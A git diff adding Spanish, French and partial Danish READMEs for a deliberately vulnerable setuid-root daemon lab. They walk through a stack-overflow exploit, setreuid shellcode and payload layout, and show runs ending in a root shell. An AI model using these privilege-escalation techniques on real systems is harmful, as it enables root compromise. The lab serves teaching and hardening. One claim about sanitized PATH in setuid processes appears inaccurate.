— beviset på, at + overløbet, ikke uheld, kontrollerer udførelsen. +3. **Tilføj canaryen.** `make hardened` og ændr selv `test-hardened`-løkken; + loglinjen `*** stack smashing detected ***` er forsvaret, der virker. +4. **Deaktiver leaket.** Kommentér `BUF=`-linjen i `foosd.c` ud, genbyg, og se + `-t shellcode` gå fra deterministisk til et gættespil. Den ene linje er + grunden til, at ægte ASLR-bypasses er et helt felt. +5. **`-p`-eksperimentet.** Ændr i en kopi af `win()` `execl("/bin/sh", "sh", + NULL)` til `execl("/bin/sh", "sh", "-p", NULL)` og observer root. `-p` er + den dokumenterede nødudgang fra shellens vagt — og grunden til, at rådet + "spawn bare en shell" fra gamle write-ups er ufuldstændigt. +6. **Hvorfor ikke `setuid(0)`?** Omskriv shellcoden til at kalde `setuid(0)` + i stedet for `setreuid(0,0)` (syscall 105). Shellen lander stadig — og + falder stadig til `uid=1000`. Det er det mest lærerige en-linjes-eksperiment + i hele repositoryet. + +--- + +## 11. Sikkerhed og oprydning + +- Kun loopback, som standard og efter design; `-L` binder længere, og kun en + velegnet-til-at-smid-væk-VM bør overhovedet overveje det. +- Dette er et root-shell-laboratorium. Kør det ikke på en maskine, der + betyder noget, og peg ikke `foosc -h` mod noget, du ikke ejer. +- Oprydningsritual: `make stop` og derefter `make unsetuid`, og hvis du vil + have træet pletfrit igen: `sudo make clean`. + +```console +$ make stop +$ make unsetuid +``` \ No newline at end of file diff --git a/suid/README.ES.md b/suid/README.ES.md new file mode 100644 index 0000000..c2a80b4 --- /dev/null +++ b/suid/README.ES.md @@ -0,0 +1,399 @@ +# Laboratorio de RCE root por SUID — `foosd` (demonio) + `foosc` (exploit) + +Un compañero del laboratorio principal (`food` / `fooc`, un demonio normal donde +un desbordamiento de búfer te da un shell de *usuario*). Este añade el cambio de +un solo carácter más peligroso de Unix: **el bit setuid**. + +> `chmod u+s` convierte "el atacante puede ejecutar código en este host" en "el +> atacante puede ejecutar código como **root** en este host". + +Esa frase es todo el laboratorio. Todo lo que sigue es el mecanismo que tiene +debajo, escrito, para que cuando escribas tu propio software sepas +exactamente qué dos o tres atributos del sistema de archivos y flags del +compilador deciden si un error de seguridad de memoria en tu código es una +molestia o un shell root. + +La demo final, cuando `foosd` es setuid-root, es un **shell root** abierto a +través de la red ejecutando 32 bytes de shellcode escrita a mano. + +--- + +## 1. Qué hace realmente el bit setuid + +Cada proceso en Linux lleva tres user-ID, y el bit setuid toca la relación +entre ellos: + +| ID | Nombre | Significado | +|----|------|---------| +| `ruid` | user-ID real | la cuenta que *inició* el proceso | +| `euid` | user-ID efectivo | lo que el kernel comprueba al imponer el acceso | +| (saved) | set-user-ID guardado | una "ranura" a la que un proceso privilegiado puede volver más tarde | + +Un programa normal tiene `ruid == euid`. Cuando ejecutas un binario con el bit +setuid puesto, propiedad de root: + +```text +ruid = tú (p. ej. 1000, "hanez") +euid = el dueño (p. ej. 0, "root") +``` + +El proceso tiene por tanto **la autoridad de root**, aunque el usuario que lo +inició sea perfectamente normal. Cada comprobación que hace el kernel — ¿puede +este proceso leer `/etc/shadow`? ¿escribir un archivo? ¿matar a otro proceso? — +se responde con `euid`, es decir, "sí, es root". + +`foosd` es un demonio de red. Enlaza un puerto y luego hace `fork()` de un hijo +por conexión. Un fork *hereda* el euid, así que cada hijo que gestiona una +conexión también es root. El desbordamiento en `vulnerable_handler()` de +`foosd` es por tanto un desbordamiento *dentro de un proceso root*. + +**Diagnostícalo tú mismo cuando el demonio esté corriendo:** + +```console +$ ./foosd ... # mira la línea de log que imprime al arrancar +[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process +``` + +y desde el exploit: + +```console +$ ./foosc -t leak +foosc: target euid=0 ruid=1000 +``` + +--- + +## 2. El laboratorio de un vistazo + +| Archivo | Rol | +|------|------| +| `foosd.c` | El demonio deliberadamente vulnerable (dueño de los errores). Ejecútalo como *binario setuid-root* para la demo del shell root. | +| `foosc.c` | El exploit. Usa por defecto la técnica de shellcode `setreuid + execve` de 32 bytes. | +| `shellcode.S` | El shellcode de referencia; `make verify` lo compara con el array de bytes en `foosc.c`. | +| `tests/pty_suid_test.c` | Harness de prueba. Conduce a `foosc` a través de un pseudo-terminal y prueba tanto "corrió un shell" *como* "era root" (`uid=0(`). | +| `Makefile` | Compilación, helpers `setuid`/`unsetuid`, matriz de prueba. | +| `README.md` | Este archivo. | + +> **¿Por qué una pty?** La última acción del exploit es retransmitir tu +> terminal al shell que corre en la víctima. Un pipe o un here-doc llega al +> lado equivocado de esa retransmisión; se requiere un terminal real. + +--- + +## 3. Inicio rápido + +```console +$ make # compila todo, como tu usuario normal +$ make setuid # una vez, pide sudo: chown root + chmod u+s +$ make run # arranca foosd en 127.0.0.1:2343 +$ make test-suid # matriz completa; shellcode + ret2win-root deben dar root +``` + +Prueba de humo interactiva: + +```console +$ ./foosc -t shellcode +... +foosc: target euid=0 ruid=1000 +foosc: shell is on the victim (root if foosd is SUID); relaying +# id +uid=0(root) gid=0(root) groups=0(root) <-- eres root, en la víctima +# exit +``` + +Cuando termines: + +```console +$ make stop +$ make unsetuid # higiene: no dejes nunca un binario root SUID suelto +``` + +--- + +## 4. *¿Cuándo pongo el bit SUID?* — la respuesta que pediste + +Exactamente **una vez, después de compilar, antes de arrancar el demonio para +las demos de shell root** — y solo en una máquina que sea tuya, apta para tirar +y desconectada de la red: + +```console +$ make # compila foosd, foosc, las pruebas +$ make setuid # <-- EL MOMENTO. sudo chown root:root foosd && sudo chmod u+s foosd +$ make run # arranca DESPUÉS de poner el bit +``` + +Dos reglas que importan más que el momento exacto: + +1. **Ponlo solo cuando el binario esté terminado.** Si recompilas (`make` / + `make clean`) después de poner el bit, te topas con "Permission denied" al + escribir los archivos de salida propiedad de root — y si fuerzas la + recompilación, el toolchain recrea el archivo **sin** la `s` y deshace la + configuración en silencio. El orden canónico en cualquier recompilación es + por tanto + + ```console + $ make unsetuid && make && make setuid + ``` + +2. **Quítalo cuando termines.** `make unsetuid`. Un binario setuid vivo, + propiedad de root, con un error explotable en tu árbol no es una herramienta + pedagógica, es un agujero root con un error de compilación entre él y nada. + En una máquina compartida o de producción: **no hagas nada de esto.** El + demonio además se niega por defecto a enlazarse a nada que no sea loopback + (ver §7). + +Si ejecutas el exploit *sin* poner nunca el bit, nada se rompe — el payload +sigue aterrizando y sigues obteniendo un shell. La diferencia está en un solo +número, y el exploit lo dice en voz alta: + +```console +foosc: WARNING: the daemon is NOT running with euid 0. + The payload will still land, but the shell will be + a plain user shell, not root. + Fix: sudo make setuid +``` + +El resultado "funcionó, pero no root" es en sí parte del laboratorio. +Recuérdalo para la siguiente sección. + +--- + +## 5. El mecanismo — y el giro que hace interesante a SUID + +### 5.1 El desbordamiento (idéntico a `food`) + +El handler de `foosd` da a un `read()` 512 bytes de confianza mientras le +ofrece un búfer de pila de 64 bytes: + +```c +char buf[64]; +n = read(fd, buf, 512); /* <- CWE-120: 448 bytes sobre el borde */ +``` + +En x86-64 la pila crece hacia abajo. El exploit escribe 64 bytes de basura para +llenar `buf`, 8 para llenar el puntero de marco guardado y 8 más para +reemplazar la **dirección de retorno guardada**. Cuando `vulnerable_handler` +ejecuta `ret`, la CPU hace pop del valor del atacante en `RIP` — ejecución de +código controlada por el atacante. El exploit encuentra la distancia exacta (88 +bytes para esta compilación) analizando la salida de `objdump` en lugar de +hardcodearla, así que el número sobrevive a las recompilaciones. + +### 5.2 El giro: el shell se niega a ser root + +Aquí es donde pensar "bug SUID → spawn /bin/sh → root" iría mal, y por qué este +laboratorio tiene exactamente la forma que tiene. + +Cuando corre un programa setuid-root, su `ruid` sigue siendo el usuario que lo +inició y su `euid` es root. Si el programa — o el atacante — lanza ahora un +shell: + +* `execve("/bin/sh")` **no** cambia los uids; el nuevo proceso hereda + `(ruid=1000, euid=0)`. +* bash (y dash) **comprueba exactamente ese estado al arrancar**. Del manual de + bash: *"If the shell is started with the effective user (group) id not equal + to the real user (group) id, and the -p option is not supplied, … the + effective user id is set to the real user id."* + +Así que el shell se mira y *suelta root* — una defensa que los autores de +shell construyeron exactamente contra este ataque (la justificación histórica +era el problema de las shells setuid / scripts setuid). El resultado son los +casos "funcionó, pero no root": + +| Técnica | Qué ejecuta | uid resultante | +|-----------|------------------|---------------| +| `ret2win` | el `win()` de `foosd` → `execl("/bin/sh")` | **1000** — shell aterrizado, root reseteado por bash | +| `ret2libc` | `system("/bin/sh")` → `sh -c '/bin/sh'` fresco | **1000** — el mismo reset, un nivel abajo | +| `ret2win-root` | el `win_root()` de `foosd` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid limpiado desde C | +| `shellcode` | 32 bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid limpiado desde código máquina | + +Las que alcanzan root se diferencian de las que no lo hacen en exactamente una +idea: **limpian el uid *real*, no solo el efectivo.** + +```c +setuid(0) /* pone euid a 0, pero ruid sigue en 1000: + bash sigue viendo euid != ruid y resetea IGUAL. */ +setreuid(0, 0) /* pone AMBOS: ruid = euid = 0. + bash ve uids iguales y conserva root. */ +``` + +Por eso el shellcode `/bin/sh` clásico que encuentras por todo internet +empieza con un syscall de limpieza de uid — y por eso el shellcode aquí es de +32 bytes en lugar de 23: las primeras cinco instrucciones son + +```asm +xor edi, edi ; ruid = 0 +xor esi, esi ; euid = 0 +push 0x71 ; 113 = __NR_setreuid +pop rax +syscall +``` + +### 5.3 Entonces, ¿qué es el exploit, de principio a fin? + +1. `foosc` lee el banner de `foosd` por el socket. Obtiene: + - `ids=0/1000` — euid/ruid (el autodiagnóstico SUID) + - `stack=…` y `libc=…` — punteros (las fugas de ASLR) + - `BUF=…` — la dirección exacta del búfer que está a punto de desbordar +2. Del binario objetivo (vía `objdump`) aprende `rip_off` y las direcciones de + `win()` / `win_root()`. +3. De *su propia* libc (vía `/proc/self/maps` + `dlsym` + un escaneo de memoria) + mide los offsets de `system`, `read`, `/bin/sh` y un gadget `pop rdi; ret` — + nada está hardcodeado. +4. Ensambla el payload. Para `-t shellcode`, es: + `[código setreuid+execve de 32 bytes][basura hasta RIP][ret-fix][dirección de buf]`. +5. El `read()` de `foosd` se desborda; el `ret` aterriza en el shellcode; el + kernel ejecuta `setreuid(0,0)` (sin problema: euid 0 es privilegiado) y luego + `execve` de `/bin/sh`. bash arranca con `ruid == euid == 0` y sigue siendo + root. +6. `foosc` retransmite tu terminal a ese shell root, hasta que escribes `exit`. + +Un detalle de comodidad que cuesta caro a la gente si se pasa por alto: el +exploit prueba cada comportamiento de limpieza de uid **sin** necesitar primero +el bit setuid. Ejecuta `make test` antes de `make setuid`, y verás cada técnica +aterrizar un shell con `ROOT=MISSING`; ejecuta `make test-suid` después de +`make setuid`, y `ROOT=SEEN` aparece en las dos técnicas que limpian el uid +real. Ese A/B es toda la lección, representada en diez segundos. + +--- + +## 6. Los viejos one-liners — y por qué la mayoría están muertos + +Si has leído sobre SUID, has leído sobre secuestro de `PATH`, `LD_PRELOAD` y +shells setuid. Los tres son clásicos, y los tres fallan en un sistema moderno +contra *este programa*. Vale la pena saber exactamente por qué, porque las +razones son las defensas que obtienes gratis: + +| Clase de ataque | Vieja afirmación | Por qué falla en una máquina moderna | +|--------------|-----------|------------------------------| +| `LD_PRELOAD` de una biblioteca maliciosa | "El programa setuid carga mi `.so` y ejecuta mi código como root." | El kernel marca un binario setuid como **AT_SECURE**; glibc ignora entonces `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` y compañía. El entorno se trata como *entrada no confiable*. `LD_PRELOAD` contra un binario setuid es un no-op. | +| Secuestro de `PATH` (`system("ls")` con un PATH envenenado) | "Apunta PATH a un directorio con mi `ls` falso; el programa root lo ejecutará." | Otra cara de la misma defensa: un proceso AT_SECURE recibe un **PATH saneado** (un valor por defecto seguro, más o menos `/usr/local/bin:/usr/bin:/bin`) para `system()`/`execvp`, así que el directorio envenenado nunca se consulta. | +| Inyección de comando `system()` setuid | "El comando inyectado se ejecuta con euid 0." | `system()` ejecuta el comando en un `/bin/sh` nuevo, y ese shell — §5.2 — resetea `euid = ruid` al arrancar. El comando inyectado se ejecuta con el uid *real*. (Sigue siendo un error; solo que ya no escala vía `/bin/sh`.) | +| Shell root setuid en disco (`cp /bin/sh /tmp; chmod u+s`) | "Ejecútalo, consigue root." | Exactamente la defensa de arriba, y esa es la razón por la que las distros modernas no entregan ningún shell root setuid. Incluso si consigues fabricar uno, bash se niega a mantener euid 0 salvo que se inicie con `-p`. | + +Lo que sigue vivo, y eso es este laboratorio: **el programa *ya* es root cuando +corre.** No necesitas el entorno ni `system()`; necesitas que el programa +ejecute *tu* código (vía un error de corrupción de memoria) mientras es +privilegiado, y que tu código sea lo bastante cuidadoso para corregir él mismo +el desajuste de uids — `setreuid(0,0)` — antes de entregarte un shell. La +corrupción de memoria + SUID es la combinación que todavía termina en `uid=0`, +y eso es exactamente por qué los lenguajes seguros en memoria, las canaries y +las pilas no-ejecutables no son una decisión de moda. + +--- + +## 7. Las barandillas de seguridad integradas en el demonio + +`foosd` es deliberadamente la *peor* pieza de software de este repositorio, así +que también lleva más barandillas: + +1. **Solo loopback, impuesto.** `foosd` rechaza cualquier dirección de bind + fuera del loopback, salvo que pases `-L`. Un listener setuid-root en una + interfaz real es un servicio root remoto; el rechazo es el valor por defecto, + para que el estado peligroso tenga que escribirse deliberadamente. +2. **Autodiagnóstico.** Al arrancar registra `ruid`/`euid` y si corre como root, + para que la consola muestre el estado del que depende el exploit. +3. **El log nunca llega al cliente.** El demonio reserva un descriptor de log + privado antes de que los sockets reemplacen a fd 1, para que la salida del + crash-reporter y las rutas internas no puedan leerse de vuelta por el cable + por el atacante. +4. **Crash-reporter.** Un handler de SIGSEGV registra `RIP`/`RSP` — el valor que + el atacante escribió en la dirección de retorno — para que una toma de + control exitosa sea visible en `foosd.log` en lugar de ser una muerte + silenciosa. +5. **`make unsetuid`.** Quitar el bit está scripteado, porque dejarlo puesto es + el modo de fallo que la gente realmente tiene. + +--- + +## 8. Mitigaciones — qué detiene cada una y qué *no* detiene + +Aplicadas a `foosd` vía `make hardened`, una a una o juntas: + +| Mitigación | Qué detiene | Qué *no* detiene | +|------------|---------------|-------------------------| +| `-fstack-protector-strong` (canary) | El desbordamiento: `ret` detecta una canary destruida y aborta antes de que se use la dirección del atacante. Detiene aquí **las cuatro** técnicas — comparten el único `read()` vulnerable. | Nada por *diseño*: el binario sigue siendo setuid-root; otro error (format-string-`%n`, heap-overflow, use-after-free) no tiene canary que disparar. | +| `-fPIE -pie` (ASLR para el binario) | El uso de direcciones `win()`/`win_root()` predecibles (las técnicas ret2win). | La técnica de shellcode, si todavía se filtra una dirección de pila (línea `BUF=`). | +| `-z noexecstack` (NX / W^X) | El shellcode: la CPU se niega a buscar instrucciones en una página solo-de-datos, así que un salto a `buf` es un SIGSEGV. | ROP — ejecutar código que ya existe (`ret2libc`). | +| Las tres juntas | Un binario difícil de desbordar, randomizado, con pila no ejecutable. Así se ve una build endurecida normal. | El bit setuid. **Un binario SUID endurecido sigue siendo un binario SUID.** Si sobrevive cualquier error de memoria alcanzable, sigue siendo "error en un proceso root". | + +La prueba en consola es `make test-hardened`, que intercambia la build +endurecida y muestra las técnicas muriendo en la canary, mientras +`foosd_hardened.log` captura `*** stack smashing detected ***`. + +Dos mitigaciones de nivel de diseño que ningún flag de compilador entrega, y +que el laboratorio principal (`food`) también usa: + +- **Mínimo privilegio.** Un demonio para un puerto no privilegiado (2343 > + 1024) no tiene ninguna necesidad legítima de root. Un `foosd` correcto + enlazaría y luego haría `setgroups`/`setgid`/`setuid` a una cuenta no + privilegiada y *confirmaría que se mantuvo* (la versión correcta está en la + fuente como `drop_privs()`, nunca llamada — el no-lamarlo es el error n.º 3 + del laboratorio). +- **Limita el read.** `n = read(fd, buf, sizeof(buf) - 1)`. Una línea correcta + supera a todos los flags de compilador de la tabla. + +--- + +## 9. El protocolo wire (para que puedas leer el demonio con netcat) + +```text +FOOSD 1.0 - deliberately vulnerable SUID service +Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512. +FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f... +BUF=0x7ffd... +``` + +* `ids=euid/ruid` — no podía imprimirse como `euid=`/`ruid=`, porque el harness + de prueba prueba un shell haciendo grep del `uid=` literal, y el banner no + debe contenerlo (una sonda que comparte la firma con la respuesta es una + trampa clásica de falso positivo; ver el comentario en `foosd.c`). El harness + además exige la forma estricta de salida `id` — `uid=NNN(...)` — para que nada + de lo que imprima el demonio o el exploit pueda satisfacer la comprobación + por accidente: el propio "target euid=… ruid=…" de `foosc` contiene `uid=` + como subcadena, lo que una vez hizo que una prueba endurecida reportara un + shell que nunca había corrido. +* `stack=`, `libc=`, `BUF=` — las fugas de ASLR: dejan que el shellcode y + ret2libc calculen direcciones exactas. + +--- + +## 10. Ejercicios + +1. **Considera la degradación no-root.** Ejecuta `make test` *antes* de `make + setuid`, y luego otra vez después. Explica el cambio a `ROOT=SEEN` con la + historia ruid/euid de la §5.2. +2. **Lee el crash.** Ejecuta `./foosc -t demo -n` y luego lee `foosd.log`. La + línea `RIP=0x4141414141414141` es la basura del atacante — la prueba de que + es el desbordamiento, no el azar, quien controla la ejecución. +3. **Añade la canary.** `make hardened` y modifica tú mismo el bucle + `test-hardened`; la línea de log `*** stack smashing detected ***` es la + defensa funcionando. +4. **Desactiva la fuga.** Comenta la línea `BUF=` en `foosd.c`, recompila, y + mira `-t shellcode` pasar de determinista a un juego de adivinanzas. Esa + única línea es la razón por la que los bypass reales de ASLR son todo un + campo. +5. **El experimento `-p`.** En una copia de `win()`, cambia `execl("/bin/sh", + "sh", NULL)` por `execl("/bin/sh", "sh", "-p", NULL)` y observa root. `-p` + es la salida de emergencia documentada del guardián del shell — y la razón + por la que el consejo "solo haz spawn de un shell" de los viejos write-ups es + incompleto. +6. **¿Por qué no `setuid(0)`?** Reescribe el shellcode para llamar a `setuid(0)` + en lugar de `setreuid(0,0)` (syscall 105). El shell sigue aterrizando — y + sigue cayendo a `uid=1000`. Es el experimento de una sola línea más + instructivo de todo el repositorio. + +--- + +## 11. Seguridad y limpieza + +- Solo loopback, por defecto y por diseño; `-L` enlaza más lejos, y solo una VM + apta para tirar debería siquiera considerarlo. +- Esto es un laboratorio de shell root. No lo ejecutes en una máquina que + importe, y no apuntes `foosc -h` a algo que no poseas. +- Rito de limpieza: `make stop` y luego `make unsetuid`, y si quieres el árbol + impecable otra vez: `sudo make clean`. + +```console +$ make stop +$ make unsetuid +``` \ No newline at end of file diff --git a/suid/README.FR.md b/suid/README.FR.md new file mode 100644 index 0000000..191b9f0 --- /dev/null +++ b/suid/README.FR.md @@ -0,0 +1,404 @@ +# Lab RCE racine par SUID — `foosd` (démon) + `foosc` (exploit) + +Un compagnon du laboratoire principal (`food` / `fooc`, un démon ordinaire où +un débordement de tampon vous donne un shell *utilisateur*). Celui-ci ajoute le +changement d'un seul caractère le plus dangereux d'Unix : **le bit setuid**. + +> `chmod u+s` transforme « l'attaquant peut exécuter du code sur cette machine » +> en « l'attaquant peut exécuter du code en tant que **root** sur cette +> machine ». + +Cette phrase, c'est tout le laboratoire. Tout ce qui suit est le mécanisme +qu'il y a dessous, écrit noir sur blanc, pour que lorsque vous écrivez votre +propre logiciel, vous sachiez précisément quels deux ou trois attributs de +système de fichiers et flags de compilateur décident si un bug de sécurité +mémoire dans votre code est une nuisance ou un shell root. + +La démo finale, quand `foosd` est setuid-root, est un **shell root** ouvert sur +le réseau en exécutant 32 octets de shellcode écrite à la main. + +--- + +## 1. Ce que fait réellement le bit setuid + +Chaque processus Linux porte trois user-ID, et le bit setuid touche à la +relation entre eux : + +| ID | Nom | Signification | +|----|------|---------| +| `ruid` | user-ID réel | le compte qui a *démarré* le processus | +| `euid` | user-ID effectif | ce que le noyau vérifie quand il applique les accès | +| (saved) | set-user-ID sauvegardé | un « créneau » auquel un processus privilégié peut revenir plus tard | + +Un programme normal a `ruid == euid`. Quand vous exécutez un binaire avec le +bit setuid posé, appartenant à root : + +```text +ruid = vous (ex. 1000, « hanez ») +euid = le propriétaire (ex. 0, « root ») +``` + +Le processus a donc **l'autorité de root**, même si l'utilisateur qui l'a +lancé est parfaitement ordinaire. Chaque contrôle que le noyau effectue — ce +processus peut-il lire `/etc/shadow` ? écrire un fichier ? tuer un autre +processus ? — est tranché avec `euid`, donc « oui, il est root ». + +`foosd` est un démon réseau. Il lie un port puis `fork()` un enfant par +connexion. Un fork *hérite* de l'euid, donc chaque enfant qui traite une +connexion est aussi root. Le débordement dans `vulnerable_handler()` de +`foosd` est donc un débordement *à l'intérieur d'un processus root*. + +**Diagnostiquez-le vous-même quand le démon tourne :** + +```console +$ ./foosd ... # voyez la ligne de log qu'il affiche au démarrage +[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process +``` + +et depuis l'exploit : + +```console +$ ./foosc -t leak +foosc: target euid=0 ruid=1000 +``` + +--- + +## 2. Le lab en un coup d'œil + +| Fichier | Rôle | +|------|------| +| `foosd.c` | Le démon volontairement vulnérable (propriétaire des bugs). Exécutez-le en *binaire setuid-root* pour la démo du shell root. | +| `foosc.c` | L'exploit. Utilise par défaut la technique de shellcode `setreuid + execve` de 32 octets. | +| `shellcode.S` | La shellcode de référence ; `make verify` la diff contre le tableau d'octets dans `foosc.c`. | +| `tests/pty_suid_test.c` | Harnesse de test. Conduit `foosc` à travers un pseudo-terminal et prouve à la fois « un shell a tourné » *et* « il était root » (`uid=0(`). | +| `Makefile` | Compilation, helpers `setuid`/`unsetuid`, matrice de test. | +| `README.md` | Ce fichier. | + +> **Pourquoi un pty ?** La dernière action de l'exploit est de relayer votre +> terminal vers le shell qui tourne sur la victime. Un pipe ou un here-doc +> arrive du mauvais côté du relais ; un vrai terminal est requis. + +--- + +## 3. Démarrage rapide + +```console +$ make # compilez tout, en tant que votre utilisateur normal +$ make setuid # une fois, demande sudo : chown root + chmod u+s +$ make run # démarre foosd sur 127.0.0.1:2343 +$ make test-suid # matrice complète ; shellcode + ret2win-root doivent donner root +``` + +Test de fumée interactif : + +```console +$ ./foosc -t shellcode +... +foosc: target euid=0 ruid=1000 +foosc: shell is on the victim (root if foosd is SUID); relaying +# id +uid=0(root) gid=0(root) groups=0(root) <-- vous êtes root, sur la victime +# exit +``` + +Quand vous avez fini : + +```console +$ make stop +$ make unsetuid # hygiène : ne laissez jamais un binaire root SUID traîner +``` + +--- + +## 4. *Quand dois-je poser le bit SUID ?* — la réponse que vous avez demandée + +Exactement **une fois, après la compilation, avant de démarrer le démon pour +les démos de shell root** — et uniquement sur une machine qui est à vous, +bonne à jeter et déconnectée du réseau : + +```console +$ make # compilez foosd, foosc, les tests +$ make setuid # <-- L'INSTANT. sudo chown root:root foosd && sudo chmod u+s foosd +$ make run # démarrez APRÈS avoir posé le bit +``` + +Deux règles plus importantes que le moment précis : + +1. **Posez-le seulement quand le binaire est fini.** Si vous recompilez + (`make` / `make clean`) après avoir posé le bit, vous tombez sur un + « Permission denied » en écrivant les fichiers de sortie appartenant à root + — et si vous forcez la recompilation, la chaîne d'outils recrée le fichier + **sans** le `s` et défait silencieusement la configuration. L'ordre + canonique à chaque recompilation est donc + + ```console + $ make unsetuid && make && make setuid + ``` + +2. **Enlevez-le quand vous avez fini.** `make unsetuid`. Un binaire setuid + vivant, appartenant à root, avec un bug exploitable dans votre arborescence, + ce n'est pas un outil pédagogique, c'est un trou root avec une erreur de + compilation entre lui et rien. Sur une machine partagée ou de production : + **ne faites rien de tout cela.** Le démon refuse d'ailleurs par défaut de se + lier ailleurs qu'en loopback (voir §7). + +Si vous exécutez l'exploit *sans* jamais poser le bit, rien ne casse — la +payload atterrit toujours, et vous obtenez toujours un shell. La différence +tient en un seul chiffre, et l'exploit le dit à voix haute : + +```console +foosc: WARNING: the daemon is NOT running with euid 0. + The payload will still land, but the shell will be + a plain user shell, not root. + Fix: sudo make setuid +``` + +Le résultat « ça marche, mais pas root » fait lui-même partie du lab. Gardez-le +en tête pour la section suivante. + +--- + +## 5. Le mécanisme — et la pirouette qui rend SUID intéressant + +### 5.1 Le débordement (identique à `food`) + +Le handler de `foosd` donne à un `read()` 512 octets de confiance en lui +tendant un tampon de pile de 64 octets : + +```c +char buf[64]; +n = read(fd, buf, 512); /* <- CWE-120 : 448 octets par-dessus le bord */ +``` + +Sur x86-64, la pile croît vers le bas. L'exploit écrit 64 octets de bourrage +pour remplir `buf`, 8 pour remplir le pointeur de trame sauvegardé et 8 de +plus pour remplacer l'**adresse de retour sauvegardée**. Quand +`vulnerable_handler` exécute `ret`, le CPU pousse la valeur de l'attaquant +dans `RIP` — une exécution de code contrôlée par l'attaquant. L'exploit trouve +la distance exacte (88 octets pour cette compilation) en analysant la sortie +de `objdump` au lieu de la hardcoder, donc le chiffre survit aux +recompilations. + +### 5.2 La pirouette : le shell refuse d'être root + +Voici où penser « bug SUID → spawn /bin/sh → root » irait de travers, et +pourquoi ce lab a exactement la forme qu'il a. + +Quand un programme setuid-root tourne, son `ruid` est toujours l'utilisateur +qui l'a lancé, et son `euid` est root. Si le programme — ou l'attaquant — lance +maintenant un shell : + +* `execve("/bin/sh")` ne change **pas** les uids ; le nouveau processus hérite + de `(ruid=1000, euid=0)`. +* bash (et dash) **vérifie exactement cet état au démarrage**. D'après le + manuel de bash : *« If the shell is started with the effective user (group) + id not equal to the real user (group) id, and the -p option is not supplied, + … the effective user id is set to the real user id. »* + +Donc le shell se regarde et *lâche root* — une défense que les auteurs de +shell ont construite précisément contre cette attaque (la justification +historique était le problème des shell setuid / scripts setuid). Le résultat, +ce sont les cas « ça marche, mais pas root » : + +| Technique | Ce qu'elle exécute | uid résultant | +|-----------|------------------|---------------| +| `ret2win` | `win()` de `foosd` → `execl("/bin/sh")` | **1000** — shell atterri, root réinitialisé par bash | +| `ret2libc` | `system("/bin/sh")` → `sh -c '/bin/sh'` tout frais | **1000** — même réinitialisation, un niveau plus bas | +| `ret2win-root` | `win_root()` de `foosd` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid nettoyé depuis le C | +| `shellcode` | 32 octets : `setreuid(0,0); execve("/bin/sh")` | **0** — ruid nettoyé depuis le code machine | + +Celles qui atteignent root diffèrent de celles qui ne l'atteignent pas par +exactement une idée : **elles nettoient l'uid *réel*, pas seulement +l'effectif.** + +```c +setuid(0) /* met euid à 0, mais ruid reste 1000 : + bash voit toujours euid != ruid et réinitialise QUAND MÊME. */ +setreuid(0, 0) /* met LES DEUX : ruid = euid = 0. + bash voit des uids égaux et garde root. */ +``` + +C'est pourquoi la shellcode `/bin/sh` classique que vous trouvez partout sur +Internet commence par un syscall de nettoyage d'uid — et c'est pourquoi la +shellcode fait ici 32 octets au lieu de 23 : les cinq premières instructions +sont + +```asm +xor edi, edi ; ruid = 0 +xor esi, esi ; euid = 0 +push 0x71 ; 113 = __NR_setreuid +pop rax +syscall +``` + +### 5.3 Alors, c'est quoi l'exploit, de bout en bout ? + +1. `foosc` lit le banner de `foosd` sur la socket. Il obtient : + - `ids=0/1000` — euid/ruid (l'autodiagnostic SUID) + - `stack=…` et `libc=…` — des pointeurs (les fuites ASLR) + - `BUF=…` — l'adresse exacte du tampon qu'il s'apprête à faire déborder +2. Depuis le binaire cible (via `objdump`), il apprend `rip_off` et les + adresses de `win()` / `win_root()`. +3. Depuis *sa propre* libc (via `/proc/self/maps` + `dlsym` + un scan mémoire), + il mesure les offsets de `system`, `read`, `/bin/sh` et un gadget + `pop rdi; ret` — rien n'est hardcodé. +4. Il assemble la payload. Pour `-t shellcode`, c'est : + `[code setreuid+execve de 32 octets][bourrage jusqu'à RIP][ret-fix][adresse de buf]`. +5. Le `read()` de `foosd` déborde ; le `ret` atterrit sur la shellcode ; le + noyau exécute `setreuid(0,0)` (pas de souci : euid 0 est privilégié) puis + `execve` de `/bin/sh`. bash démarre avec `ruid == euid == 0` et reste root. +6. `foosc` relaie votre terminal vers ce shell root, jusqu'à ce que vous + tapiez `exit`. + +Un détail de commodité qui coûte cher à beaucoup de gens s'il est manqué : +l'exploit teste chaque comportement de nettoyage d'uid **sans** avoir besoin du +bit setuid au préalable. Lancez `make test` avant `make setuid`, et vous verrez +chaque technique atterrir un shell avec `ROOT=MISSING` ; lancez `make test-suid` +après `make setuid`, et `ROOT=SEEN` apparaît pour les deux techniques qui +nettolent l'uid réel. Ce A/B est toute la leçon, jouée en dix secondes. + +--- + +## 6. Les vieux one-liners — et pourquoi la plupart sont morts + +Si vous avez lu sur SUID, vous avez lu sur les détournements de `PATH`, sur +`LD_PRELOAD` et sur les shells setuid. Les trois sont classiques, et les trois +échouent sur un système moderne contre *ce programme*. Ça vaut le coup de +savoir exactement pourquoi, parce que les raisons sont les défenses que vous +avez gratuitement : + +| Classe d'attaque | Vieille affirmation | Pourquoi elle échoue sur une machine moderne | +|--------------|-----------|------------------------------| +| `LD_PRELOAD` d'une bibliothèque malveillante | « Le programme setuid charge mon `.so` et exécute mon code en tant que root. » | Le noyau marque un binaire setuid comme **AT_SECURE** ; glibc ignore alors `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` et compagnie. L'environnement est traité comme *entrée non fiable*. `LD_PRELOAD` contre un binaire setuid est un no-op. | +| Détournement de `PATH` (`system("ls")` avec un PATH empoisonné) | « Pointez PATH vers un répertoire avec mon faux `ls` ; le programme root l'exécutera. » | Un autre visage de la même défense : un processus AT_SECURE reçoit un **PATH assaini** (une valeur sûre par défaut, grossièrement `/usr/local/bin:/usr/bin:/bin`) pour `system()`/`execvp`, donc le répertoire empoisonné n'est jamais consulté. | +| Injection de commande `system()` setuid | « La commande injectée s'exécute avec euid 0. » | `system()` exécute la commande dans un `/bin/sh` tout frais, et ce shell — §5.2 — 